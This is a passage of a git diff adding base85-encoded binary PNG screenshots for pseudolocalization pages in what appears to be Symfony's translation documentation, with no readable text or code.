zA~UP%Ca4m%FAa3A$S|75IraHyoHQzL>ErT-WK|G*DpBeoAbd=GYJ1IR#NIm@$&IK?
zH??3P`aRz^35-B0=i1*vChSU&#=cG5P0xZGE}f|^#y>&g^Epi>BlaGR1ZDas$Yux`
z1xCEY1Hqw207d`+YGy{_Te4l5z#I=4@}e4YN<lyjD`iX~(W|e4wGZh&l4rDru8|}%
zTmv#{+>C<a;ttS7|Jq%7@bqEre(0Y=rG7LJ<puH|dbs}!B0-bAr}|giKUx3J@vo!)
z?OZX$ZT`qsC!1oUbY+ckzmjnjTK9zit>-A7ZV=u&2uJ_%dKR*K<SG>*^8t@Q6I1IW
zINeFb@qssZqif1GrTGlcWIm8v<9asl?25<EH~zNHlzq$|^J=cKc0P}CEiBk&@tH_i
zxkEdFG+Y041&xckzxiSzY<aQma9b%;_5ppYXg1~+!|GB}0c+bQCFKgM?53am)s%5}
zgFtXsFc^8twvpOJ>z=tZJl!1f+2}>aX(NyB@>zjpy~Bd(^F%}x`m|`qCQGa%**@L8
z%h)SPHB0tGKYGEoJK#!ufJ~LH?UK=&he*LW(2hTp!Tspf>o0o;adw6gIugc-(@)or
z$2iyjZmw{LDF<!PbUVXj!-eO*U67_I;Z<g2*X%c7jj&o?pFiO;AG%fX0{szl(^V**
zq4rkz3XHm*^Rs<6ZZ7-${eDw7AHFc<32QY<;KwJ<i}fN)&4HpjEm3}j5@xh6regxw
zs+O^Sbf`rcLiw2*0bp}s1LJZmiJRndN1s}Hc!}X$pTBeq2phLwb8`#ECPTETOL&om
n%Z_au>T2TEYWUeq*+CMEr-E$X->9<wBMQKEO>|ysxy1hu!zH;2

literal 0
HcmV?d00001

diff --git a/_images/translation/pseudolocalization-interface-translated.png b/_images/translation/pseudolocalization-interface-translated.png
new file mode 100644
index 0000000000000000000000000000000000000000..496d5a0f86f10cf308d2889fa67d46167e4d7c58
GIT binary patch
literal 5739
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
RrTI5SR#(wcu2Hmo|6gvfuQ>n!

literal 0
HcmV?d00001

diff --git a/_images/translation/pseudolocalization-symfony-demo-disabled.png b/_images/translation/pseudolocalization-symfony-demo-disabled.png
new file mode 100644
index 0000000000000000000000000000000000000000..1a7472bd41fac2ffa9897ae9ab33d4c97fa5254d
GIT binary patch
literal 66509
zcmb5W1yEegvo{P05Fkjf;BHwQf;$9R77L5JySqbh_XUDOvWq0aA-KB-f@^Sh_irD0
z-}l~I|GHJ*6x(%nIMb(lX1e>=eFmaFD#>D^lb|CYAYjS?rN9UXNWBOMFO^YWz<XLf
zrH~O2Uqa-hB-FeR4`!-05RAy$$Cnv>2N$dC7k=8ielIE6wzVB?-d@~Xe|Sbl>al!@
zfY43~1i?qs(ZfkHE}Y1rAs~E$BK_AZaWMP=Q~*Q-ghU9u|NmY6kD>o76H$;(fd28#
z+1%mMW7m3Tud}skpcZ)f)sr$<$z6Kr&oc<rnR0IEPKoeoc6e>PVPtVHemm!BAT=jt
zAuePn62EIo89(Eyds)D1DBexwf%497fnt5`=U=M*_0#KUF(#N&?&@f;y?oT_?Wi<u
z(2@)iR4-Ap$?;dCRLtgl?ukh+e+m=|*gM!J*eBQ;jdy&$YSGBKPc0d*QLF7$&J~4e
zT8<i`Yf=hY3?4se&I8QLP9-uj8I|+=?=FZP*G|_N4+1p`4AQu{8I|(9Z_nrn?3Y^^
z)5q#fuSLT%gZi3%4tsy<`wCqXXFd>aIPsHVMRWyO?+;GxqpC!LXPeX_XBnc;+LEVI
zrj7c1VK&*KzEA3+3)Plm_gLijX`=Ii@@lrrm3(c|Q=h7Mvd9Hp9wv8Po%&y=muZzx
z+bvSi4?W&v-(gec35mq04q^{Yr>%wVqJ8Npzw%ZlF5e$+h*^9X|JwIP7=qs5r{F&(
zJaf)omtVGXa4Y|O_rt}+FtKa(FR@<r%5Bt8QENANoGU+_$sxX@=SI1_E1+fUEMl6n
z?J3Esb0BE#z$zXc$16JYhbu|CuU!|=Wyz}Lv45pcK$EFqKg(M=osW93*pfHD&7#v0
zaHP^?E$jR?_5-GlN3BxY)E;Btqm;~$J87K&Y#4{?`hwr=IQ{u1`$K?c*@EBh+0^mV
zQA_N?<K-rP6ul0_Wo{2s<E$=$8H17!)2F07X^Z~k@b3v+bvkZM!Yh>j6mW84oG$vo
zxjOj*!?a_ci4B%5=!-LR-gg36d*lyuQ@gPc^0M{exjqtW7ZdQ>OE^vqGTviJv+O=L
z(+NqI1MIfI^;)PfY_tivsvQ?-yR)oZy2sj0JnjLQvr%En?(W4^>*J_@9M5UGo>hJU
z<2C_kWQg;G|1)RUxq8*kF`=f-_xX5%kHs&1oW>>Xl>m6CdTgh*Q{OuzxX1Wxk23vH
z66ErE-c>>-X6uJ{)64XJ7ueTkx)Jd>hhG^l5xM7pEy(K&CYIKVM&$s{mu=DKSQMf@
zkTv{9pRTuBJCUcqvuX|pMnA3M@!Bu+U@-+fM#KjkdmgXX4~y_n8vCSOIt~n8&Nwb7
z<Axo-!XV<5;LGN899Z(b25e)+#>R`h($;^SR=TBeV{{<mB-Nd8<rJt?yDypuVmD~*
zY?b&L?GlVR0fivw!boJ+)xlLZU(X5IZE3ttPH^5I&s+<5uJ(@TYAxJuvez9i+OL>W
z2^2<FZY5%l>J@1h{drt)I~?n&$*V3dnYg|BYlFi#)YGZ8ITD6kuh2Ec!(pI&?cr6}
zLrChG<}=fB$@Lp(jAtr1no2rPkt<r$A^+NCXD8~Rj2c~GhQ*+g_kKG6MkE^uLJM=4
zZOr;u;PHCiIwJfTzdU-Y2g@}HWdN|*8Y0V+Ngb-bUx$?|xhf&h$jRIh&vGt!T(aG+
zvV|OQ*sGWt)6ntKak=$t^*g1T^~D}$;}EiFDB?puYatmI+5q<$W=>TH(>D}mygt>%
z!-VID%EIydwIcJP)-yKX3JA?8xv`WCg~(g2sEFU`rdY3%&tVA`gLb8!!Y?nK>2X=%
zMu`2Tk8|5Vm8P?}pd>rl1h5wO@Ajl(V_sAGl7t(9@?IkG4knpXUM{gA4jtf!(E+g=
zq`8PX$IAR)RSM$EOtl*A+R(j&)$x0-PV{Z=7wi2*UlTqh+%z0Cc<GHLI=K_|9;cD6
zNQLlnz9cZv0GZF|sN^c89+??cyfLPj&$nIXY^o`Xy^<F@ANdzge^*!)O4zWZFE)kB
z2CIIf=@_DwmK&vw0LoM6ea~B(fi(Xm%-``$n+|<S*-!UHsR|&&8o!aNrF*q>;(#i2
zsJ~1k0_~rcg@OX@dxN%H&nTmTvFE1@)xm=oap|qP_OV36;T!=OGZ)(PnUvYd>!SA`
zK{>4YEm23NyjK1XrVL|iZ$O35Y2{1VUH6Esvf`y%ubcVpAdwXX`oD~(5Y&e`OHE$D
zkVuAC8%GxAEWtpz=l4DnKeQmYJMvT(nf_n!XY*Q|8k8On9P@UW!60T8kSImYQk7{!
zZe}aEx!3{5dopm!Vwg*AG*`(zH||Ro{<r^vyH#W`3sz-;?=uc+H-DJ3RhAi(luh#h
z%Li;Ej2DR#ps1Gxbi{kXBA~HRcCcZG+9B>nJw*oQ4okutd=_(xM82<b{s@_79;kw{
z*B$-Tf^@fWhIVwgy_1vSrH#@vS@ab@V&*xlxBQqfA`G2_?wDw&sl+wUC->wqpgx2T
zt(Dl7(~;ad`3xW82}_%tIkD>AVR5@CfGl5=2JmNzv|AtIeX_OcM&Zi{o~)a9!CBje
zfYt1O6%R<rn*E6X680G{&UVhY7RCNxsPD|;dYnIt*RnFsdWlsGB)4V=I&r|P7P@fq
z&YZN43a^?}X%y2D#L6JNcx>Na1A~%e+=!es{YfkIj@UWa00$yoHHta!kS}HJpnyT)
z2k<-XI_stj@m1?!BwPHd&!BqZf9#Yj@r@k66iNs2uj=i(H^_j4B;}8Rv|d`x^k3u!
zA>dPfK*cP*KHz(Zzz=E@Y8r5GXs@xJx)4qX4P!45K**D9RHBiDH+7KKn3aoq&$xy3
zNI0i%QUsMsUWruB>`<J<zi#B4&Y}k%nJ*NKqIG1JnpF^2qGV8^hw<*0RgKc@$zBz_
zgT;QR)4o!ErVow7WiyQ}L3*42tJ|te`HE^Oh?fHN#mgzhpJ4372u*{z2-5J9&S~n7
zb<c+e1CYUCUpBmUU@A4u|GUQ+gr@k#tbb=fBRH2f80?}80&Cz2c-?&7D&&CG4D`6@
zGPjExl-M-X>*;|89_VYMDVWCM#&{F}r<uR{?CNyt{dnjVN)CQkIHef%+<I>d{^QId
zDQO!2EF!`110!d**tL<pNrlXL?-TNbCHUo1z%=d9c7?BcD5<H^%*8(#v%+_X@14~T
zs|ro-xk^RUe_=S_zGXokw!OXeIGxO<sVov`UCqnDZJ`&d-|?wN;wRE)oF9{X@YZn~
zUhZ!ig75$xD@@Bft|~sdft&*4jy`;aq$PE)@p5WJJd@hr3{Y^>)u_<M?1#3Y&NE!g
zEs)giK5b#N#2)_Y{p1PK7XRb#aL4#s`^R!|ju!E)7nd|(yhY^;kAZ3-MZoU@NTT?N
z-Vd>_%8~4hY%oY5J1I7EpC?IpmK6F4U6efFRE$&EEkw;63>ElC`B1#XcFr5~9?2+U
z$Hi&KIqE~P@Nxx#R+Diq-QfIuimAvQ0!_Awp4GU$v#*ddml_t*LGKP~nzXbeaU1n2
z>`KFVN9WjH->>^46u`!>(N4AM!1N$`=Au!Z;%cJ1r<;JeSgjDE_p5z1yi(T%@96#e
zTZw%ySDe1(x<M~k5ErU+V4uJy5?$Ca^l6hC9m&c=Gn;MB+Vl|)Fc$uenhKLc26CPL
zFQQ5^>V@y<XCe;Q&q{MdJ)JW{)G0$8V1Kr>Aj##@JZoX!wPbITwr@|na|E4NrW6WP
zUtpw2zQCn12>K_Q%M!*q?%H=u;%0n-R5?&H>_UusDYf+U8h}UE>xH9o<MSyJjG17j
zE==oy#9wBH()G#mr8{qo073YTs2$TK@YQ_PxU+YewUrC{Lz(cgP)5~&*~Ic!KStMZ
zBo8pAy*f;hHZ)55+W0g03s1$HpBo<s69%Ws^vY{LEyjm@Cnu>;dfs5qLz0IOGN62q
z?P1ITrxi~mDq|@lgeQSGJYrsDj#ZlA*H*qorH9M-Ik{)$X2b3hOTAkuGbD8qJT1J{
z0atcY&MIMx{5N)#@!-f*aM3B{I|P`TS)t27=CX>)=-}^E(SKt!%&b;qG3O40SpGoy
zCjb^o#tU=Aabo+8jGP#QKPmfBy?*)O9ZYz>LXbuR5XRE2fC3g43xVK{DR(P*(GtIn
zV&|FTQgc*7%xHKPuMAWn&2W4p_1*+CIUA6$f-m)#o`Z23Cf+XZ=p8)<e;~&iw?}-!
z>Bqv{wBhNRo5dP&=JVGe9$T3L(5n)>lz$n?LqXs|{<FY(ehn1vivobn5sfEtu$_LI
zxzzPMQVgu%N~VIHX>4+2g3mH=j4^&`mavtq1b-Om^xJ*IQd8XL<phh47IJ?<rZU+=
zWEwS=#v7R*sZ~DkPk>MzG@8UPh@UHjh`Yr2^&$1pQ;2ypz>R=dyp!mAEYey6iji%y
z5ugNP%e0723db*WV0_*Vr${COl@<bRG}{!kLh-=SO57}pD&t#d=aPs{<cO0Z>8@g;
zRxPNGoC~W%!65?3Et4H_=zj_SbGIWpoB}@kGJ^SQ!&`w%8VF#Wijg5fF~CXu6Atj&
zI|!R^^SdNrnVf+QhZQ8FTAWW>M)3F%`K^{jsKLeu>1H*NV4=xjzbEo(sqMh&1C?o^
zl{k0UG)OhQrk~klzT<JfoG)xdwPjebo5fdRt$F_$s=I5@rOGH!9;{lV@dpD8+O)^p
zor*wr)tLT4_s=GePz5#D*sV%gVSv2R-bZ7weEOCHau4hltBRs=7?80HhCM0ipOBH$
zXlr8>ElPQNY$%gwrY5V^bzrFoZE}+8J35HpVY>_@3K0r8Ew81brg_<cTfG|ASifqU
zW7xj&{KHA#IuX~cJ1_y<v2df@k^?xWtGj<Towi>LFJ@Q$I1UC$U3c{<k@!xMM9fb%
zQ$C!2(2GeWjk?sog(onJK@uSp^fdbATQMw%*E*%z_=I=DcBjJ_FAU<=UiD}dPCrjR
z=>D5XtwM136>snZbY%c>jFEhU82xP<YT6v?Ld{|R)$|pve@;|R->HBcihs#kKT}J3
zFmnz5LU?~_?7IH(bx@?0F_RId@^t7|uq%cPLQGkmRS>{^vvEX1BT85gX#3^`qnnC9
z%ptViq$c*Livxxqxs1-B9o8KUl_m|SihEA|QKoU)xSI$;>TlNWr%Nb=sb+&2UJPEl
ze^{sW{v}E7Cw~mi6Z*&4Y7Tih-Z8H<`loj~@n(|!@WeC?l8a6=LxS$~9jozSG_|dk
z5N-K>5uy85F{|`aD*buhCOY`7VL{rCPf9P7_8ZvAG*$b16Yj!tnmZ2vKbnyR(xL-s
zh;bSG{uKCx$6~Imy__dqT(yy9i@qn3lHw^ZiXdDi>!CUAKRMTdtD&W5`g^W_Lvu2$
zew2ylZGtw*M6o~fMUoOo2lmpD;NGycEG%*nl|~=Derz>#(~#01xqgxAHsnay3DMuP
zZcHB9G*Of_6&6`Afo?Ed4~ExD0JJOnsRl!?h29?$;kFux7AyZku~SSaq~0f-Ft57{
ztM&A43APQlP2U6|a%%`}&D$ZqaPYs86%Lo}DrV7urmF2iR>;q{LmbzY5a6ZEVY58B
z5`g?Kh~hO8KpqLNF(4qE)fsH)tbMZqeE;?j(HZ>q?OR$EoWOqkOaA`l|KI)!+nHH)
zX+$C!;x_~$q6mI;lOJj5A>|!QyPpx%7c=Xdd|h~sjs$$m%N5Tzn$OF#erK>j;R02#
zH)a1-{xJHh8uFjWr@u=l|A8Pd{8e4~ALR32y#5pUPptp$`%nD;C)fY?kpIN`@4o-U
z|39(*yYIj9H^-NzUB`RuqV@mKl{~6_t10vxEUN;cAV&E7Ig^5n{Ji@6uR*b^+X%58
zxrPeHI5|M5v9&q{GQt;rUIufmEyGYJ#?AhlQ0yRl$=h@h5jzAUWzg&IT#ItMI57Ot
zkim-z#6QpakDZ{`n}!kMjIe71^dfu&;V%%SD+!n!U;v8rDUMH0jsZs3w}_75lmbxz
zy$YgB!A0Pc8-TjK0dfHlIRNyYtSR7RIkZo5fCk$PNHUo#e3p|HKyvX7aR}{-U@ibT
z68tN|A{~9ogaj3wX*(3MSPQ=aK6ebTjWTmE$YmJO2n^x^&<kw+??d7R5EMWI`a@92
z#^;y+M+|u9|03I2p!4lMdmE*Q@9l;3>i$X~k9(ZZL)2etq<~#!xB#T{f)t_w0jGn9
zQ~Hg!`6o}hV}BBrKbwKWY2}h*TU?DMV47<;e2o^XweZ5%ifNYZ-xaXy*}EylrO8RN
zvF7jR!a_}Q?)D?0OLCS!pMQ&ZH~PNnWh^4p7HflYiPAUKf9dr|HfRd)_cKA4YtXV;
z_^w$_%`-W^v<=K1%W31_;C6ZH41@8ql>P`=X#Rqp@q0>$N~+#v^V_+*0%Hz0bP_r+
z{WC2bqW|*4wdj4>rz9r-%YBC;_6i2Y%xOd=-whb{^Zm~En1VX7=boq^6z8aKl-rUA
z=X)jt*Hb7<SiFBqzepx`$4(r(&HG8Ahf;%QFY-W3*5zt%x?k-W2=G2S*fj*7I|i<N
z_+GSpqp%g)2a7B#wAjinHx=B4Qo|S&fBvlHhCW>M9m-(bwx1tAZYOER2^2U3hW5RE
zp71+raL}w7{Xdw3tC>kN8Mn7)B1Yqs6t`0~kYyO^?;?se@VPzQh~-sX(d!O`w6#=R
zi{^GH$yWj=?&~!<9)4`@PC%(QFZcO2XnQiDOUFOlo}UdX$z4u)wn92upWLtKT(=Lg
